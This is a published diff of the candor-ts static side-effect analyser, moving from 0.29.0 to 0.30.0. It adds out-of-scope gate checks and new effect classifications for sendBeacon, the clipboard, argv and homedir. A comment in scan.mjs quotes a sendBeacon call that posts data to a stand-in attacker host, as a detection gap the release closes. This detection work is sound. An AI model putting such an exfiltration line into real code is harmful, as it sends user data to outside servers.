candor-ts 0.29.0 → 0.30.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/AGENTS.md CHANGED
@@ -21,7 +21,7 @@ the TypeScript-specific production + query surface.
21
21
  > **Already installed? Report the version and ask before upgrading — before you scan.** If this
22
22
  > project already has candor (a `.candor/` report directory, or `candor-ts` reachable via `npx`/a
23
23
  > global install), do this *first*: run `npx -y candor-ts --version` (offline) and **tell the user
24
- > plainly which version they're on** — e.g. *"This project is on candor-ts `<version>` (spec 0.29)."*
24
+ > plainly which version they're on** — e.g. *"This project is on candor-ts `<version>` (spec 0.30)."*
25
25
  > On a build too old for the flag, read `candor.version` / `candor.spec` from an existing
26
26
  > `.candor/report*.json`, or `npm ls -g candor-ts`.
27
27
  >
@@ -292,3 +292,12 @@ far as candor could see, but it could not see through these" (a LOWER bound), no
292
292
  dependency can opt out of that blind spot by declaring `"candorEffects": ["Net", …]` in its
293
293
  `package.json` (the §5.1 effect manifest, read declared-not-verified) — its calls then classify to
294
294
  the declared set instead of contributing nothing.
295
+
296
+ - **⟨0.30⟩ A GREEN GATE CAN NOW EXIT 2 — read `outOfScope` before you trust a pass.** When a policy is
297
+ configured, candor also reads the files the scan EXCLUDED (test files, build scripts, archives under the
298
+ root, files outside the build's program) and reports any that perform an effect the policy DENIES, under
299
+ the report's `outOfScope` key. A non-empty block makes the verdict `ok:false`, `incomplete:true`, exit 2
300
+ — *"I could not see enough of this tree to certify it"*, which is NOT the same as "your code violates":
301
+ those functions are never in `violations`, because the gate did not judge them. Branch on `incomplete`
302
+ to tell the two apart. An absent key means the producer was never asked (no policy at scan time), and an
303
+ empty one means asked-and-clear.
package/README.md CHANGED
@@ -192,7 +192,7 @@ pure-vs-Unknown ruling (PART 16) — the engines must answer identically, on eve
192
192
  | A call resolving to a *type* (function-typed field/param) → `Unknown`, never silent-pure | SPEC §4 |
193
193
  | Unmatched external calls contribute nothing (curated-classifier caveat) | SEMANTICS §8 C1 |
194
194
  | The literal surfaces `hosts`/`cmds`/`paths`/`tables`, literal-read only | SPEC §2 |
195
- | `{ candor: { version, toolchain, spec: "0.29" }, functions }` envelope; pure fns omitted | SPEC §2/§2.1 |
195
+ | `{ candor: { version, toolchain, spec: "0.30" }, functions }` envelope; pure fns omitted | SPEC §2/§2.1 |
196
196
  | Call-graph sidecar with **every** analyzed function a key | SPEC §2.2 |
197
197
  | The gate: AS-EFF-006 / 008 / 009, loud on an unreadable policy | SPEC §6.2 |
198
198
 
@@ -210,7 +210,7 @@ read the Rust source".
210
210
 
211
211
  ## Status
212
212
 
213
- 0.28.0, speaking candor-spec 0.29: the analysis core, the gate (`--policy` / `--gate-json` /
213
+ 0.30.0, speaking candor-spec 0.30: the analysis core, the gate (`--policy` / `--gate-json` /
214
214
  `.candor/config`), the full §3.1 query surface (including `containment`, `blindspots`, the
215
215
  `--include-unknown` dispatch frontier, and ⟨0.24⟩ `gate --report` — the gate applied to an EXISTING
216
216
  report, byte-equivalent to `scan --policy`'s verdict), the MCP server, the LSP server, and the watch loop are
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "candor-ts",
3
- "version": "0.29.0",
4
- "description": "candor for TypeScript \u2014 per-function side effects, transitively, with a policy gate (candor-spec 0.29)",
3
+ "version": "0.30.0",
4
+ "description": "candor for TypeScript \u2014 per-function side effects, transitively, with a policy gate (candor-spec 0.30)",
5
5
  "type": "module",
6
6
  "dependencies": {
7
7
  "@types/node": "^25.9.2",
@@ -66,6 +66,7 @@
66
66
  "verify-emit.mjs",
67
67
  "verify-loader.mjs",
68
68
  "verify-syscall.mjs",
69
+ "scratch.mjs",
69
70
  "sensitivity.mjs",
70
71
  "transitive-recall.mjs"
71
72
  ],
package/query-core.mjs CHANGED
@@ -557,7 +557,16 @@ export function reportCompleteness(prefix) {
557
557
  // want different repairs and because `judgedNothing` is PINNED to "reports declaring `analyzed.count:
558
558
  // 0`", which a row-3 report is not.
559
559
  return { unanalyzed: reportUnanalyzed(prefix), judgedNothing: reportJudgedNothingFiles(prefix),
560
- noManifest: reportNoManifestFiles(prefix), unreadable: reportUnreadableFiles(prefix) };
560
+ noManifest: reportNoManifestFiles(prefix),
561
+ // ⟨0.30⟩ the peek's findings, so an advisory verb keying `--strict` on this object is at least
562
+ // as pessimistic as the gate over the same bytes (the ⟨0.24⟩ MUST).
563
+ ...(() => {
564
+ const o = reportOutOfScope(prefix);
565
+ // A corrupt key rides `unreadable`, which is ALREADY an arm of the strict exit — so the
566
+ // fail-closed path is the one the ⟨0.24⟩ rule established, not a new one beside it.
567
+ return { outOfScope: o.findings,
568
+ unreadable: [...reportUnreadableFiles(prefix), ...o.corrupt] };
569
+ })() };
561
570
  }
562
571
 
563
572
  /**
@@ -574,7 +583,38 @@ export function reportCompleteness(prefix) {
574
583
  * exit code; see `advisoryAnswer`, whose exit-bearing callers key `--strict` on manifest + unreadable.
575
584
  */
576
585
  export const mustHedge = (c) => !!(c && (c.unanalyzed?.length || c.judgedNothing?.length
577
- || c.noManifest?.length || c.unreadable?.length));
586
+ || c.noManifest?.length || c.unreadable?.length
587
+ || c.outOfScope?.length));
588
+
589
+ /** ⟨0.30⟩ The peek's findings across the reports under a locator. Read leniently HERE (a malformed key is
590
+ * the gate's refusal to make, and this feeds a disclosure) but non-emptiness raises the same hedge the
591
+ * gate raises, which is what keeps the advisory verbs bound to it. */
592
+ export function reportOutOfScope(prefix) {
593
+ const out = [];
594
+ // ACCEPT A FULL PATH AS WELL AS A PREFIX. `reportFilesAt` appends `.json`, so a locator that already
595
+ // ends in `.json` — which is exactly what `--report <file>` gives — expanded to nothing and this
596
+ // returned `[]`. The hedge then never fired and `unverified --strict` certified a report the gate
597
+ // refuses. `loadGateReport` tolerates both spellings, so the two disagreed about the same locator.
598
+ const files = (prefix.endsWith(".json") && fs.existsSync(prefix)) ? [prefix] : reportFilesAt(prefix);
599
+ const corrupt = [];
600
+ for (const f of files) {
601
+ try {
602
+ const d = JSON.parse(fs.readFileSync(f, "utf8"));
603
+ // PRESENT-BUT-NOT-A-LIST IS CORRUPT, and it must reach the ADVISORY verbs too. Read leniently here,
604
+ // the key vanished and `--strict` certified a report `gate --report` refuses at exit 2 — the ⟨0.24⟩
605
+ // relation broken one shape over from where it was closed. The gate already refuses this; an
606
+ // advisory verb that does not is LESS pessimistic than the gate over the same bytes.
607
+ if (d?.outOfScope !== undefined && !Array.isArray(d.outOfScope)) { corrupt.push(f); continue; }
608
+ if (Array.isArray(d?.outOfScope)) {
609
+ for (const e of d.outOfScope) {
610
+ if (e && typeof e === "object") out.push(e);
611
+ else { corrupt.push(f); break; }
612
+ }
613
+ }
614
+ } catch { /* unparseable TEXT is `unreadable`'s business, not this key's */ }
615
+ }
616
+ return { findings: out, corrupt };
617
+ }
578
618
 
579
619
  /**
580
620
  * ⟨0.28⟩ The disclosure KEYS, defined ONCE, for spreading into a verb's answer document — `{}` when there
@@ -740,7 +780,7 @@ export function loadReport(prefix) {
740
780
  */
741
781
  export function loadGateReport(prefix) {
742
782
  const files = reportFilesAt(prefix);
743
- const functions = [], unanalyzed = [], cov = new Map(), corrupt = [];
783
+ const functions = [], unanalyzed = [], cov = new Map(), corrupt = [], outOfScope = [];
744
784
  let hardFail = false, analyzed = 0;
745
785
  // ⟨0.24⟩ did the report handed to the gate judge ANYTHING? Per FILE, then ANDed across the multi-report
746
786
  // siblings, because the union of several reports has judged something as soon as ONE of them has — the
@@ -799,6 +839,25 @@ export function loadGateReport(prefix) {
799
839
  else unanalyzed.push({ path: typeof u.path === "string" ? u.path : "", reason: typeof u.reason === "string" ? u.reason : "" });
800
840
  }
801
841
  }
842
+ // ⟨0.30⟩ THE PEEK'S FINDINGS, off the report rather than recomputed — this route CANNOT peek (it has
843
+ // no target, only a document), and that is exactly why the field rides the report. Concatenated across
844
+ // siblings like `functions` and `unanalyzed` above. ABSENT stays absent: ⟨0.26⟩ makes an absent key
845
+ // "this producer cannot answer", and a report produced with no policy was never asked, so it must not
846
+ // trigger the ⟨0.30⟩ verdict. Only well-formed entries count — a malformed one is corrupt input, and
847
+ // silently dropping it is how a fail-closed rung turns back into a green one.
848
+ const oos = parsed.outOfScope;
849
+ // PRESENT-BUT-NOT-A-LIST IS CORRUPT, NOT ABSENT. This had no `else` on the Array.isArray guard, so
850
+ // `"outOfScope": "oops"` was silently coerced to nothing and `gate --report` answered exit 0,
851
+ // `ok:true`, "no violations" over a report whose peek had found a denied effect — the exact
852
+ // fail-open coercion the strict read exists to prevent, in the commit that claims to prevent it.
853
+ // rust, java and swift all refuse this shape; only this route did not. (Found by review, MEASURED.)
854
+ if (oos !== undefined && !Array.isArray(oos))
855
+ corrupt.push(`${f}: \`outOfScope\` is present and is not a list`);
856
+ else if (Array.isArray(oos))
857
+ for (const e of oos)
858
+ if (e && typeof e === "object" && Array.isArray(e.effects) && e.effects.length)
859
+ outOfScope.push(e);
860
+ else corrupt.push(`${f}: \`outOfScope\` (an element is not an object carrying a non-empty \`effects\`)`);
802
861
  // ⟨0.15⟩ the κ ledger. Merged + re-sorted the PRODUCER's way (count desc, name asc by code point —
803
862
  // reportCoverage's rule, and scan.mjs's), so a single-report prefix reproduces the emitted order exactly.
804
863
  const unc = parsed.coverage?.uncovered;
@@ -811,7 +870,7 @@ export function loadGateReport(prefix) {
811
870
  }
812
871
  const coverage = [...cov.entries()].sort((a, b) => b[1] - a[1] || byCodePoint(a[0], b[0]))
813
872
  .map(([name, calls]) => ({ name, calls }));
814
- return { functions, analyzed, unanalyzed, coverage, judgedNothing, hardFail: hardFail || corrupt.length > 0, corrupt };
873
+ return { functions, analyzed, unanalyzed, coverage, judgedNothing, outOfScope, hardFail: hardFail || corrupt.length > 0, corrupt };
815
874
  }
816
875
  // The returned graph carries a non-enumerable `partial` flag (the loadReport `hardFail` precedent):
817
876
  // true iff a sidecar file was MATCHED but failed to read/parse — its edges were DROPPED (disclosed on
package/query.mjs CHANGED
@@ -509,7 +509,7 @@ function renderPathHuman(fns, cg, fnQ, eff) {
509
509
  // package.json; SPEC_VERSION is the spec contract this build speaks. Reused, never re-littered.
510
510
  const QUERY_DIR = path.dirname(fileURLToPath(import.meta.url));
511
511
  const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(QUERY_DIR, "package.json"), "utf8")).version;
512
- const SPEC_VERSION = "0.29";
512
+ const SPEC_VERSION = "0.30";
513
513
 
514
514
  // ---- the §3.3.1 canonical query grammar (⟨0.10⟩, additive over 0.9) --------------------------------
515
515
  // One shape for every verb: `<verb> <verb-args…> [--report <locator>] [--policy <file>] [--json]
@@ -1852,7 +1852,12 @@ switch (cmd) {
1852
1852
  // --report` REFUSES over a corrupt member — measured, exit 2 — so exiting 0/1 here claimed this verb
1853
1853
  // got FURTHER than the gate on identical bytes. The unreadable note above already SAID the exit was
1854
1854
  // bounded by the gate's while this line did not read the field — a documented limitation, unmeasured.
1855
- process.exit(fgUnan.length || fgComp.unreadable.length || fgr.unevaluated?.length ? (strict ? 2 : 0) : (strict && !fgr.ok ? 1 : 0));
1855
+ // ⟨0.30⟩ …and the peek's findings, because ⟨0.24⟩ binds this verb to the GATE's pessimism: "AN
1856
+ // ADVISORY VERB MUST NEVER BE LESS SENSITIVE TO INCOMPLETENESS THAN THE GATE OVER THE SAME BYTES",
1857
+ // and "THE SAME RULE BINDS EVERY ADVISORY VERB THAT ANSWERS `ok` — `unverified`, `fix-gate`, and any
1858
+ // later sibling". ⟨0.30⟩ moved the gate to exit 2 on this cause and left these verbs certifying:
1859
+ // MEASURED, `gate --report` exited 2 while this printed a clean answer at exit 0 over the same bytes.
1860
+ process.exit(fgUnan.length || fgComp.unreadable.length || fgComp.outOfScope?.length || fgr.unevaluated?.length ? (strict ? 2 : 0) : (strict && !fgr.ok ? 1 : 0));
1856
1861
  break; // unreachable
1857
1862
  }
1858
1863
  case "unverified": {
@@ -1917,7 +1922,8 @@ switch (cmd) {
1917
1922
  // ⟨0.28⟩ `unreadable` joins the `--strict` exit-2 trigger — see fix-gate above. Measured on this verb
1918
1923
  // before the fix: over one good report plus one unparsable sibling, `gate --report` exited 2 and
1919
1924
  // `unverified --strict` exited 0 — and `--strict` is how CI consumes it.
1920
- process.exit(uUnan.length || uComp.unreadable.length || r.unevaluated?.length ? (strict ? 2 : 0) : (strict && !r.ok ? 1 : 0));
1925
+ // ⟨0.30⟩ the peek's findings too — see the fix-gate exit above for the ⟨0.24⟩ MUST this satisfies.
1926
+ process.exit(uUnan.length || uComp.unreadable.length || uComp.outOfScope?.length || r.unevaluated?.length ? (strict ? 2 : 0) : (strict && !r.ok ? 1 : 0));
1921
1927
  break; // unreachable
1922
1928
  }
1923
1929
  case "gate": {
@@ -2146,7 +2152,11 @@ switch (cmd) {
2146
2152
  // ⟨0.21⟩ COMPLETENESS MANIFEST: a gate cannot be green over code candor never analyzed. The scan path
2147
2153
  // exits 2 on its OWN `unanalyzed`; here the same manifest travels ON the report, so the same verdict
2148
2154
  // follows from it. A real violation (exit 1) dominates, as it does there.
2149
- const gincomplete = g.unanalyzed.length > 0;
2155
+ // ⟨0.30⟩ the SECOND cause, read off the report because this route cannot peek — the report carries the
2156
+ // peek's findings, which is what makes §3.1 byte-equality hold here by construction rather than by two
2157
+ // authors agreeing. ABSENT is not empty: a report produced with no policy was never asked.
2158
+ const gscope = g.outOfScope ?? [];
2159
+ const gincomplete = g.unanalyzed.length > 0 || gscope.length > 0;
2150
2160
  // The verdict document — the SAME builder shape scan.mjs writes, field for field and in the same key
2151
2161
  // order, because §3.1 ⟨0.24⟩ makes byte-equality with `scan --policy`'s `--gate-json` the acceptance
2152
2162
  // test. `analyzed.count`, `incomplete`/`unanalyzed` and the ⟨0.15⟩ coverage advisory all come off the
@@ -2172,7 +2182,12 @@ switch (cmd) {
2172
2182
  // not be answered, this carries text that never became a rule at all. Omitted when empty; `ok` and
2173
2183
  // the exit do not consult it (the line-level leniency is unchanged, only disclosed).
2174
2184
  if (gpol.ignored?.length) gverdictObj.ignored = gpol.ignored;
2175
- if (gincomplete) { gverdictObj.incomplete = true; gverdictObj.unanalyzed = g.unanalyzed; }
2185
+ if (gincomplete) {
2186
+ gverdictObj.incomplete = true;
2187
+ if (g.unanalyzed.length) gverdictObj.unanalyzed = g.unanalyzed;
2188
+ }
2189
+ // ⟨0.30⟩ same key, same position as the scan route's — §3.1's byte-equality is the acceptance test.
2190
+ if (gscope.length) gverdictObj.outOfScope = gscope;
2176
2191
  if (g.coverage.length)
2177
2192
  gverdictObj.coverage = { uncovered: g.coverage.length, packages: g.coverage.map((c) => c.name) };
2178
2193
  if (gviol.length) {
@@ -2186,7 +2201,12 @@ switch (cmd) {
2186
2201
  if (gunevaluated.length)
2187
2202
  grefuse(`${gunevaluated.length} policy rule(s) could not be evaluated against this report`, gunevaluated);
2188
2203
  if (gincomplete) {
2189
- const why = `gate NOT certified — the report declares ${g.unanalyzed.length} unit(s) candor could not analyze; a gate cannot be green over unanalyzed code`;
2204
+ // ⟨0.30⟩ NAME THE CAUSE THAT ACTUALLY FIRED. Two causes reach this exit now, and a message that
2205
+ // always says "could not analyze" would report the wrong repair for the scope one — the operator
2206
+ // would go looking for a parse failure that is not there.
2207
+ const why = g.unanalyzed.length
2208
+ ? `gate NOT certified — the report declares ${g.unanalyzed.length} unit(s) candor could not analyze; a gate cannot be green over unanalyzed code`
2209
+ : `gate NOT certified — the report names ${gscope.length} function(s) OUTSIDE the scan's scope performing an effect this policy denies; the gate did not judge them, so the verdict is incomplete rather than a pass`;
2190
2210
  console.error(`candor-ts: ${why}`);
2191
2211
  // The INCOMPLETE verdict is a JUDGEMENT, not a refusal: it names what was analyzed and what was not,
2192
2212
  // and §3.1 makes byte-equality with `scan --policy`'s document the acceptance test for exactly it.
package/scan-core.mjs CHANGED
@@ -60,7 +60,13 @@ export const KAPPA_RULES = [
60
60
  // `receiveMessageOnPort` reads it. Covers `worker.postMessage`, `parentPort.postMessage`, and a
61
61
  // `MessagePort`'s `.postMessage` (all typed from this module). `new Worker(...)` spawns the thread but
62
62
  // construction is inert here (like the net-cluster ctors) — the message verbs are the IPC boundary.
63
- [/^(node:)?worker_threads$/, /^(postMessage|receiveMessageOnPort)$/, "Ipc"],
63
+ // …AND `postMessageToThread`, node 22's MODULE-LEVEL send. The name is anchored, so the newer API
64
+ // slipped past a rule that already covered every other spelling: `parentPort.postMessage`,
65
+ // `worker.postMessage`, a `MessagePort`'s `.postMessage` and `receiveMessageOnPort` were all Ipc while
66
+ // `postMessageToThread(id, value)` — the same channel, addressed by thread id — read PURE. Found by
67
+ // enumerating each builtin's EXPORTS and diffing them against what the table charges, rather than by
68
+ // testing the spellings someone already thought of.
69
+ [/^(node:)?worker_threads$/, /^(postMessage|postMessageToThread|receiveMessageOnPort)$/, "Ipc"],
64
70
  // node:cluster — `fork()` spawns a worker PROCESS and wires its IPC channel.
65
71
  [/^(node:)?cluster$/, /^fork$/, "Ipc"],
66
72
  // node:vm executes a runtime-supplied code STRING in-process — `runInThisContext`/`runInContext`/
@@ -162,7 +168,15 @@ export const KAPPA_RULES = [
162
168
  // node:os identity reads — userInfo (the OS user record) and hostname (the machine name) are
163
169
  // environment/host reads (Env), like System.getenv's host-identity cousins. The rest of node:os
164
170
  // (platform/arch/cpus/totalmem/…) is inert host introspection, left pure.
165
- [/^(node:)?os$/, /^(userInfo|hostname)$/, "Env"],
171
+ // …AND `tmpdir`/`homedir`, which this list read as pure until a cross-engine parity sweep asked why.
172
+ // They are not introspection: node resolves `homedir()` from `$HOME` and `tmpdir()` from
173
+ // `$TMPDIR`/`$TMP`/`$TEMP`, so they are ENVIRONMENT VARIABLE READS behind a convenience name — the
174
+ // rule this line already applies to `userInfo`/`hostname`, and the reason `platform`/`arch` stay out.
175
+ // candor-rust charges the identical operations (`std::env::temp_dir`, `env::var("HOME")`,
176
+ // `env::current_dir`) as Env, so ts was the outlier AND inconsistent with ITSELF: `os.hostname()` was
177
+ // Env while `os.homedir()` was pure. MEASURED 2026-08-18: `deny Env` answered exit 0 over
178
+ // `os.homedir()`. `platform`/`arch`/`cpus` are untouched — they read no variable.
179
+ [/^(node:)?os$/, /^(userInfo|hostname|tmpdir|homedir)$/, "Env"],
166
180
  [/^(argon2|bcrypt|bcryptjs)$/, null, "Rand"],
167
181
  // The ORM tier — VERB-PRECISE (the CLASSIFIER discipline: tag the execution boundary, not
168
182
  // builders; `createQueryBuilder` is pure, its `getMany`/`execute` is the I/O). Found on the
package/scan.mjs CHANGED
@@ -45,7 +45,7 @@ const ENGINE_DIR = path.dirname(fileURLToPath(import.meta.url));
45
45
  // literal stamped into the envelope's `spec` field, so the doc lines and the report can never drift.
46
46
  // Reused, never re-littered.
47
47
  const PKG_VERSION = JSON.parse(fs.readFileSync(path.join(ENGINE_DIR, "package.json"), "utf8")).version;
48
- const SPEC_VERSION = "0.29";
48
+ const SPEC_VERSION = "0.30";
49
49
 
50
50
  // A TREE TOO DEEP TO WALK IS "COULD NOT EVALUATE" (exit 2), NEVER "FOUND A VIOLATION" (exit 1).
51
51
  //
@@ -2156,6 +2156,84 @@ const corruptDepPkgs = new Set();
2156
2156
  if (allowJs) { compilerOptions.allowJs = true; compilerOptions.checkJs = false; }
2157
2157
  const program = ts.createProgram(fileNames, compilerOptions);
2158
2158
  const checker = program.getTypeChecker();
2159
+
2160
+ /** A LOCAL ALIAS OF A GLOBAL IS STILL THAT GLOBAL — unwrap the binding to the node it was bound FROM.
2161
+ *
2162
+ * The global classifiers key on the callee/ctor NODE TEXT (`callee.text === "fetch"`,
2163
+ * `ctorName === "WebSocket"`), so `const send = fetch; send(url)` and `const W = WebSocket; new W(url)`
2164
+ * matched nothing and read PURE. Measured on published 0.29.0: `deny Net` answered exit 0 over a POST of
2165
+ * caller data to an external host.
2166
+ *
2167
+ * DEFINED ONCE, ON PURPOSE. This defect has now appeared in three spellings — the bare identifier, the
2168
+ * `globalThis.` qualifier, and the alias — each fixed where it was found. A second private copy of this
2169
+ * unwrap is how the fourth spelling gets missed, so the call path and the `new` path share this.
2170
+ *
2171
+ * Returns the INITIALIZER NODE, never a name, so every caller's existing shadow guard still decides: a
2172
+ * project-local `fetch` reached through an alias resolves to a project-local declaration and fabricates
2173
+ * nothing. Bounded to 4 hops and only through identifier/property-access initializers — a rebinding,
2174
+ * never a computed value, so this never follows a call or a conditional into a wrong answer.
2175
+ */
2176
+ // 16, not 4: the bound exists to stop pathological input, not to decide real code. At 4 a FIVE-deep
2177
+ // chain tripped the fail-closed arm and charged Unknown — truthful (the analysis did stop looking)
2178
+ // but imprecise, and it would have fired on an ordinary chain of renamed PURE helpers too. Set it
2179
+ // where hand-written code never reaches it, so the honest-but-vague answer is reserved for input
2180
+ // that is actually pathological.
2181
+ const ALIAS_HOPS = 16;
2182
+ /** Symbols REASSIGNED somewhere in a file — `send = fetch`, `send = helper`. Built once per file.
2183
+ *
2184
+ * The unwrap below reads a declaration's INITIALIZER, and an initializer is not a value: for
2185
+ * `let send = fetch; send = helper; send(url)` it answered `fetch` and charged Net over a call that
2186
+ * reaches a pure local — a FABRICATION this fix introduced, which 0.29.0 did not have. The mirror case
2187
+ * is worse: `let send; send = fetch; send(url)` has no initializer at all, so the unwrap returned the
2188
+ * bare identifier and the call read silent-pure — the cardinal-sin spelling of the very defect the
2189
+ * unwrap exists to close.
2190
+ *
2191
+ * One rule fixes both. A binding that is assigned anywhere is one whose value this analysis does not
2192
+ * know, so it resolves to neither answer: it is reported UNKNOWN, through the same `truncated` path a
2193
+ * too-long alias chain takes. A binding that is never reassigned still resolves precisely. */
2194
+ const reassignedCache = new WeakMap();
2195
+ const reassignedIn = (sf) => {
2196
+ let set = reassignedCache.get(sf);
2197
+ if (set) return set;
2198
+ set = new Set();
2199
+ const walk = (n) => {
2200
+ if (ts.isBinaryExpression(n) && n.operatorToken.kind === ts.SyntaxKind.EqualsToken
2201
+ && ts.isIdentifier(n.left)) {
2202
+ const sym = checker.getSymbolAtLocation(n.left);
2203
+ if (sym) set.add(sym);
2204
+ }
2205
+ ts.forEachChild(n, walk);
2206
+ };
2207
+ walk(sf);
2208
+ reassignedCache.set(sf, set);
2209
+ return set;
2210
+ };
2211
+ const unaliasGlobal = (expr) => {
2212
+ let hop = 0;
2213
+ for (; hop < ALIAS_HOPS && ts.isIdentifier(expr); hop++) {
2214
+ const sym = checker.getSymbolAtLocation(expr);
2215
+ const decl = (sym?.declarations ?? [])[0];
2216
+ // ASSIGNED SOMEWHERE ⇒ its value is not its initializer. Neither answer is available, so say so.
2217
+ if (sym && decl && reassignedIn(decl.getSourceFile()).has(sym)) return { node: expr, truncated: true };
2218
+ if (!decl || !ts.isVariableDeclaration(decl) || !decl.initializer) return { node: expr, truncated: false };
2219
+ const init = decl.initializer;
2220
+ if (!ts.isIdentifier(init) && !ts.isPropertyAccessExpression(init)) return { node: expr, truncated: false };
2221
+ expr = init;
2222
+ }
2223
+ // THE BOUND MUST FAIL CLOSED. Stopping because the CHAIN ENDED is an answer; stopping because the
2224
+ // BUDGET ended is not — and the first cut of this helper returned the same thing for both, so a
2225
+ // 5-deep alias chain read PURE while a 4-deep one read Net. That is my own fix failing open at its
2226
+ // own edge: a cliff where the analysis silently stops looking. `truncated` says which happened, and
2227
+ // the callers charge Unknown on it — the posture this engine already takes for a callee it cannot
2228
+ // resolve (a parameter call reports Unknown, never nothing).
2229
+ const stillGoing = ts.isIdentifier(expr)
2230
+ && (() => {
2231
+ const d = (checker.getSymbolAtLocation(expr)?.declarations ?? [])[0];
2232
+ return !!d && ts.isVariableDeclaration(d) && !!d.initializer
2233
+ && (ts.isIdentifier(d.initializer) || ts.isPropertyAccessExpression(d.initializer));
2234
+ })();
2235
+ return { node: expr, truncated: hop >= ALIAS_HOPS && stillGoing };
2236
+ };
2159
2237
  const projectFiles = new Set(fileNames.map((f) => path.resolve(f)));
2160
2238
  const sources = program.getSourceFiles().filter((f) => projectFiles.has(path.resolve(f.fileName)));
2161
2239
 
@@ -4062,6 +4140,18 @@ const identIsGlobalProcess = (id) => {
4062
4140
  const isProcessEnvExpr = (expr) =>
4063
4141
  expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "env" && identIsGlobalProcess(expr.expression);
4064
4142
 
4143
+ // …AND `process.argv`, which is the same channel. §1 defines Env as "reading environment variables /
4144
+ // THE PROCESS ENVIRONMENT", and argv is process-startup state delivered by the same `exec` call that
4145
+ // delivers envp — secrets arrive through it (`--token=…`) exactly as they do through a variable.
4146
+ // candor-rust has always charged `std::env::args()` as Env; ts and swift read it as PURE, so a
4147
+ // cross-engine parity sweep found the three engines answering one question two ways, with NO
4148
+ // conformance row to catch it. This is conformance to §1's existing wording, not a new clause.
4149
+ // (The adjacent java ruling does NOT transfer: `System.getProperty` is excluded there because charging
4150
+ // it "flooded a scala-library scan with a spurious 14k Env" — JVM `-D` config read pervasively at
4151
+ // class-init. `argv` is read once in a main.)
4152
+ const isProcessArgvExpr = (expr) =>
4153
+ expr && ts.isPropertyAccessExpression(expr) && expr.name.text === "argv" && identIsGlobalProcess(expr.expression);
4154
+
4065
4155
  // The set of local-binding SYMBOLS that alias process.env — collected below, one pre-pass over the
4066
4156
  // sources. A symbol lands here iff its ONLY initializer/assignment is `= process.env` (a reassignment
4067
4157
  // to anything else removes it → the alias is cleared, per the spec's reassignment rule).
@@ -4622,12 +4712,50 @@ function visitCalls(node) {
4622
4712
  else rec.incomplete.add("Net");
4623
4713
  }
4624
4714
  }
4715
+ // `navigator.sendBeacon(url, data)` — Net, and the one this set most needed. It exists to POST
4716
+ // data to a server on page-unload, it is what analytics and telemetry reach for, and it read
4717
+ // PURE: `deny Net` answered exit 0 over
4718
+ // navigator.sendBeacon("https://evil.example.com/collect", data)
4719
+ // on published 0.29.0. Found by sweeping the ALIAS spelling across every effect-global — the
4720
+ // alias was the question, and the DIRECT call turned out to be missing too.
4721
+ // The URL is argument 0. No literal ⇒ `incomplete: Net`, the same fail-closed posture the
4722
+ // `open`/ctor branches take, so a runtime endpoint cannot be certified by an allowlist.
4723
+ // `navigator.clipboard.writeText/readText/write/read` — Clipboard, a §6.1 BOUNDARY effect:
4724
+ // data leaves the program on write and arrives from outside it on read. The family rolled
4725
+ // Clipboard out everywhere (candor-swift charges NSPasteboard in both directions, candor-rust
4726
+ // charges arboard), and the WEB clipboard was the hole: it read PURE, so
4727
+ // await navigator.clipboard.writeText(secret) under `deny Clipboard` → exit 0, policy ✓
4728
+ // on published 0.29.0. Found by sweeping every effect-bearing global rather than the one that
4729
+ // prompted the sweep. `clipboardy` was never affected — an import resolves through κ.
4730
+ if (parent === "Clipboard"
4731
+ && (name === "writeText" || name === "readText" || name === "write" || name === "read")) {
4732
+ rec.direct.add("Clipboard");
4733
+ }
4734
+ if (parent === "Navigator" && name === "sendBeacon") {
4735
+ rec.direct.add("Net");
4736
+ const u = (node.arguments ?? [])[0];
4737
+ const lit = u && ts.isStringLiteralLike(u)
4738
+ ? u.text : (u ? (resolveConstUrlString(u) ?? literalHeadHostUrl(u)) : null);
4739
+ const h = lit ? hostLiteral(lit) : null;
4740
+ if (h) { rec.hosts.add(h); for (const e of modelHostEffects(h)) rec.direct.add(e); }
4741
+ else rec.incomplete.add("Net");
4742
+ }
4743
+ // `crypto.getRandomValues(buf)` — the Web Crypto RNG is Rand, and `Rand` is in the vocabulary.
4744
+ // Node's `randomBytes` was already charged because it arrives through an IMPORT; the browser
4745
+ // global resolves to lib.dom and was charged nothing, so `deny Rand` passed over it.
4746
+ if (parent === "Crypto" && (name === "getRandomValues" || name === "randomUUID")) {
4747
+ rec.direct.add("Rand");
4748
+ }
4625
4749
  // `new EventSource(url)` / `new WebSocket(url)`: the constructor is declared on an anonymous
4626
4750
  // `declare var` object type (symbol `__type`, no usable parent name), but reaching the es-lib
4627
4751
  // branch already proves the ctor resolved to lib.dom (not a project class shadowing the name),
4628
4752
  // so the constructed identifier is the real browser global.
4629
4753
  if (ts.isNewExpression(node)) {
4630
- const ctorName = node.expression.getText();
4754
+ // …through an alias too: `const W = WebSocket; new W(url)` reads a ctor named "W".
4755
+ // Same defect as the call path, one node type over — hence the SHARED unwrap.
4756
+ const unCtor = unaliasGlobal(node.expression);
4757
+ const ctorName = unCtor.node.getText();
4758
+ if (unCtor.truncated) { const o = enclosing(node); if (o) fns.get(o).direct.add("Unknown"); }
4631
4759
  if (ctorName === "EventSource" || ctorName === "WebSocket") {
4632
4760
  rec.direct.add("Net");
4633
4761
  // The URL is argument 0 of both constructors — see the XHR note above for the measurement.
@@ -4947,6 +5075,11 @@ function visitCalls(node) {
4947
5075
  // on process.env or a confirmed alias, destructuring a key off it, and the `in` membership test.
4948
5076
  {
4949
5077
  const markEnv = () => { const owner = enclosing(node); if (owner) fns.get(owner).direct.add("Env"); };
5078
+ // `process.argv` — the same channel, and the same ruling candor-rust has always applied to
5079
+ // `std::env::args()`. Reading the ARRAY is the read: `process.argv[2]`, `process.argv.slice(2)`,
5080
+ // `const [,,x] = process.argv`, or handing it to a parser all reach the same process-startup state.
5081
+ // Marked on the expression itself so every idiom counts without enumerating them.
5082
+ if (isProcessArgvExpr(node)) markEnv();
4950
5083
  // `process.env.KEY` / `env.KEY` (dot) and `process.env["KEY"]` / `env[k]` (bracket, literal OR dynamic key).
4951
5084
  if ((ts.isPropertyAccessExpression(node) || ts.isElementAccessExpression(node)) && readsProcessEnv(node.expression)) {
4952
5085
  markEnv();
@@ -4981,7 +5114,33 @@ function visitCalls(node) {
4981
5114
  // callee — `process.*` by exact text (mirroring the process.env match), `fetch` by identifier whose
4982
5115
